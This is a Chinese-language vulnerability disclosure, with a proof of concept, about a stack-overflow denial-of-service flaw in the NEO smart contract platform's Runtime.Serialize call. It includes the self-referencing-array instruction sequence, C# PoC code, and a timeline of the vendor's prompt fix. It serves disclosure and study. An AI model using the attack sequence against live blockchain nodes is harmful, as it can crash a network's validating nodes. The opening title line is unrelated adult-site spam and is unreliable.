压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

neo智能合約平臺Runtime_Serialize調用拒絕服務漏洞

NEO是一個非盈利的社區化的區塊鏈項目。它是利用區塊鏈技術和數字身份進行資產數字化,利用智能合約對數字資產進行自動化管理,實現“智能經濟”的一種分布式網絡。目前Neo市值在coinmarket上排名全球第十五,是備受關注的區塊鏈項目之一。我們在neo智能合約平臺中發現一處拒絕服務漏洞,攻擊者可利用該漏洞在瞬間使得整個neo網絡崩潰。

Neo智能合約平臺為合約提供了序列化虛擬機棧上某個對象的系統調用System.Runtime.Serialize。該調用再處理合約請求時未考慮到數組嵌套等問題,將導致智能合約系統平臺crash。由于Neo目前是有7個主節點負責驗證并打包全網交易。惡意用戶將利用該漏洞的惡意合約發布到neo網絡中,7個主節點在解析運行該惡意合約時將引發崩潰,進而導致整個neo網絡拒絕服務。漏洞細節如下:
System.Runtime.Serialize系統調用會將用戶可執行棧頂元素pop出來,然后調用SerializeStackItem函數進行序列化。SerializeStackItem函數內容如下:

大意是:當合約調用System.Runtime.Serialize系統調用的時候,會對pop出虛擬機棧上的第一個元素(參數StackItem item),然后進行SerializeStackItem序列化操作,寫到binarywriter writer中。SerializeStackItem判斷該元素類型,然后進行不同的序列化操作。

其中StackItem有很多類型。如果是數組array類型的話。就會將array的大小和子元素全部再進行一次序列化操作。這里的array是neo自定義的類型。本質上是一個List。此處沒有考慮攻擊者可能將數組a作為子元素再加入到數組a中。即 a.Add(a)。如果此時再對a進行反序列化,則會進入無限循環。直到程序棧空間耗盡。觸發棧溢出異常StackOverflowException。

實際上在Neo虛擬機代碼中,我們可以看到虛擬機執行的外層已經對任意異常了捕捉,如下:

但該異常捕捉無法處理StackOverflowException異常。在.net中StackOverflowException 異常會導致整個進程退出,無法catch該異常。進而導致整個neo節點進程直接崩潰。
攻擊虛擬機指令: push(a), dup(), dup(), appen(), System.Runtime.Serialize()
則可導致棧溢出異常,程序直接崩潰。【同理,stuct結構,map結構一樣可以利用該漏洞】。

值得一提的是,在我們郵件給Neo官方通知漏洞后7分鐘內。Neo創始人之一的Erik Zhang就直接回復郵件確認漏洞存在,并在一個小時內提交漏洞修復。效率相當之高。 官方的對該漏洞修復非常干凈,通過增加一個序列化后元素的列表List來防止我們攻擊中的這種迭代引用。詳細見下圖:

漏洞時間線

2018/8/15 15:00發現并測試漏洞
2018/8/15 18:57郵件給Neo官方漏洞細節
2018/8/15 19:04 Neo官方回復確認漏洞存在
2018/8/15 20:00 Neo創始人Erik Zhang提交漏洞修復

PoC

1. using System;
 2. using System.Collections.Generic;
 3. using System.IO;
 4. using System.Linq;
 5. using System.Text;
 6. using System.Threading.Tasks;
 7. using Neo;
 8. using Neo.IO;
 9. using Neo.SmartContract;
 10. using Neo.VM;
 11. using Neo.VM.Types;
 12. using VMArray = Neo.VM.Types.Array;
 13. using VMBoolean = Neo.VM.Types.Boolean;
 14.
 15. namespace ConsoleApp2
 16. {
 17. class Program
 18. {
 19. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
 20. {
 21. switch (item)
 22. {
 23. case ByteArray _:
 24. writer.WriteVarBytes(item.GetByteArray());
 25. break;
 26. case VMBoolean _:
 27. writer.Write(item.GetBoolean());
 28. break;
 29. case Integer _:
 30. writer.WriteVarBytes(item.GetByteArray());
 31. break;
 32. case InteropInterface _:
 33. throw new NotSupportedException();
 34. case VMArray array:
 35. writer.WriteVarInt(array.Count);
 36. foreach (StackItem subitem in array)
 37. SerializeStackItem(subitem, writer);
 38. break;
 39. case Map map:
 40. writer.WriteVarInt(map.Count);
 41. foreach (var pair in map)
 42. {
 43. SerializeStackItem(pair.Key, writer);
 44. SerializeStackItem(pair.Value, writer);
 45. }
 46. break;
 47. }
 48. }
 49. static void Main(string[] args)
 50. {
 51. VMArray a,b;
 52. a = new VMArray();
 53. b = new VMArray();
 54. a.Add(1);
 55. b.Add(2);
 56. MemoryStream ms = new MemoryStream();
 57. BinaryWriter writer = new BinaryWriter(ms);
 58.
 59. RandomAccessStack Stack = new RandomAccessStack();
 60. Stack.Push(a);
 61. Stack.Push(Stack.Peek());
 62. Stack.Push(Stack.Peek());
 63. StackItem newItem = Stack.Pop();
 64. StackItem arrItem = Stack.Pop();
 65. if (arrItem is VMArray aray)
 66. {
 67. aray.Add(newItem);
 68. }
 69. try
 70. {
 71. SerializeStackItem(Stack.Pop(), writer);
 72. }
 73. catch (NotSupportedException)
 74. {
 75. Console.WriteLine("NotSupportedException");
 76. }
 77. catch (StackOverflowException)
 78. {
 79. Console.WriteLine("StackOverflowException");
 80. }
 81. writer.Flush();
 82.
 83. Console.WriteLine(ms.ToArray().ToHexString());
 84.
 85.
 86. }
 87. }

程序運行結果:

QQ截圖20180817135149

原文鏈接:https://www.anquanke.com/post/id/156714

上一篇:黑帽大會三大攻防議題:隔離網隱蔽通信、攻擊智能水表、智能合約漏洞

下一篇:騰訊反黑新利器“安巡”亮相,助力破獲2018最新外匯詐騙大案